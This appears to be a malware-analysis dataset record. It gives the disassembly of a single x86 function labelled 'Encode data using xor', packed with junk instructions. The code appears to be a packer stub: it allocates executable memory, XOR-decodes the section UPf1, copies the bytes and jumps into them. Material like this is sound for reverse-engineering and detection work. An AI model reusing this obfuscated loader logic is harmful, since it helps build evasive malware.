Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8e1af93b
mov esi, 0x2f696111
mov esi, 0x32e57e21
sub esi, 0x7c7b5d36
popal
mov esi, 0x257e63af
add esi, 1
dec eax
mov eax, 0
mov esi, ecx
inc edi
and ebx, edi
mov edx, esi
mov ebx, 0xc04c5c44
sub ebx, edi
mov ecx, edx
add ebx, edi
not edi
inc eax
sub ebx, 0xe2972da0
sub edi, ebx
cmp eax, 0x1005fa6
jne 0xa789d4
and ebx, edi
mov edi, 0x4e9f551
sub esi, 0xa296525
or eax, eax
mov esi, eax
mov ecx, 0xa78796
sub eax, edi
mov ebx, 0x4d922d73
mov edi, ebx
mov edx, 0xa7898a
not ebx
dec eax
add eax, ebx
mov esi, dword [ecx]
add edi, 1
sub eax, edi
and esi, 0xff
add ebx, 0xf472d1d
sub edi, 0x3eaea180
mov eax, ebx
xor dword [edx], esi
add eax, edi
mov edi, eax
dec eax
inc edx
sub ebx, 0x1efbf304
mov ebx, eax
mov eax, edi
inc ecx
and edi, edi
add edi, 0x98fa9048
cmp edx, entry0
jl 0xa78a26
or edi, ebx
add eax, 0x16133a35
mov ebx, eax
dec eax
sub eax, ebx
mov esi, 0x659e117a
and edx, esi
mov ecx, 0xa7898e
mov edi, ebx
mov edx, edi
mov ecx, dword [ecx]
and esi, edx
inc ebx
mov ecx, dword [ecx]
mov edx, edi
sub edx, ebx
push ecx
or esi, ebx
inc ebx
mov ecx, 0xa7898a
add ebx, esi
not edx
add edx, edx
mov ecx, dword [ecx]
add esi, edi
add edx, 0x491a6b3f
mov ecx, dword [ecx]
add esi, 0xa1782017
mov edi, 0x1fe6dcc8
sub ebx, 1
push 0xa78992
and ebx, edi
inc edi
call ecx
add ebx, edx
sub ebx, 0x4521db39
pop ecx
add edi, esi
sub edi, 0xc15c75c8
or ebx, esi
push 0xa7899f
and edi, esi
sub edi, 0xc3dde994
add edi, esi
sub esp, 4
mov dword [esp], eax
sub edi, 0x3169c050
add ebx, 0x4b5d48fb
not edx
call ecx
mov edx, 0x3ad49bd4
mov edx, 0xf5898605
mov edi, 0x87d5d787
push 0x40
or edx, edx
dec edi
sub esp, 4
mov dword [esp], 0x3000
sub esi, 0xb94b2365
inc edi
add edi, edi
push 0x20000e24
not edi
or ebx, edx
sub esp, 4
mov dword [esp], 0
mov ebx, edx
or esi, esi
call eax
inc edx
sub edi, 0xc311552c
inc edx
add eax, 0x20000d5f
add esi, edx
and ebx, ebx
mov ecx, 0xa4ca6853
and edx, esi
and edi, ebx
mov dword [eax], ecx
add esi, 1
sub edx, 0x2895cff2
mov ecx, dword [eax]
sub esi, ebx
sub esi, edi
sub ebx, 0xfb03786c
cmp ecx, 0xa4ca6853
je 0xa78b88
mov eax, 0
mov dword [eax], ebx
add ebx, 0xe2f06a8c
sub ebx, 0x4236127b
and edx, edx
add edx, 0xa3e7a8fa
dec edx
sub esi, eax
add eax, 1
mov edi, section.UPf1
not eax
add eax, 0xce5209b5
mov ebx, 0xa78795
mov eax, 0x8ccb030
dec eax
mov ecx, 0
and esi, eax
sub eax, 0xd9778f23
add eax, 0x572e8add
mov edx, 0xa78796
not esi
and esi, eax
add eax, 0xe9f01599
lea edx, [ecx + edx]
sub eax, 0xc275b3e0
add eax, eax
mov edx, dword [edx]
add eax, 1
or esi, eax
and edx, 0xff
dec eax
and esi, eax
inc ecx
not eax
add eax, esi
cmp ecx, 0x1f4
jne 0xa78c0f
mov ecx, 0
sub eax, esi
sub esi, 0x538d55a0
mov esi, eax
mov eax, esi
sub esi, eax
xor dword [edi], edx
not esi
dec esi
mov eax, esi
add edi, 2
mov eax, esi
dec eax
add eax, 0x59054b7c
cmp edi, ebx
jl 0xa78bd0
mov esi, 0x1cf28f6f
sub eax, 0x8ca94fe0
and esi, eax
add eax, esi
inc esi
sub eax, 0x2d98a7fe
mov esi, section.UPf1
sub eax, 0x8f3af07a
add edx, 1
mov edi, section.UPf1
not eax
add eax, eax
add edx, edx
mov ebx, 0xa78795
sub edx, 0xfa92f81f
inc eax
mov ecx, 0
add edx, eax
sub edx, eax
mov cl, byte [edi]
sub eax, 0xaf09ce48
sub edx, eax
mov byte [esi], cl
dec edx
not eax
inc esi
sub eax, 0xb249ad20
and eax, eax
add edi, 2
dec edx
dec edx
cmp edi, ebx
jle 0xa78c82
inc edx
add edx, edx
mov eax, edx
add esi, esi
mov esi, 0xf504d45
inc eax
push 0x8dc6a0
mov esi, 0xe173302b
not esi
ret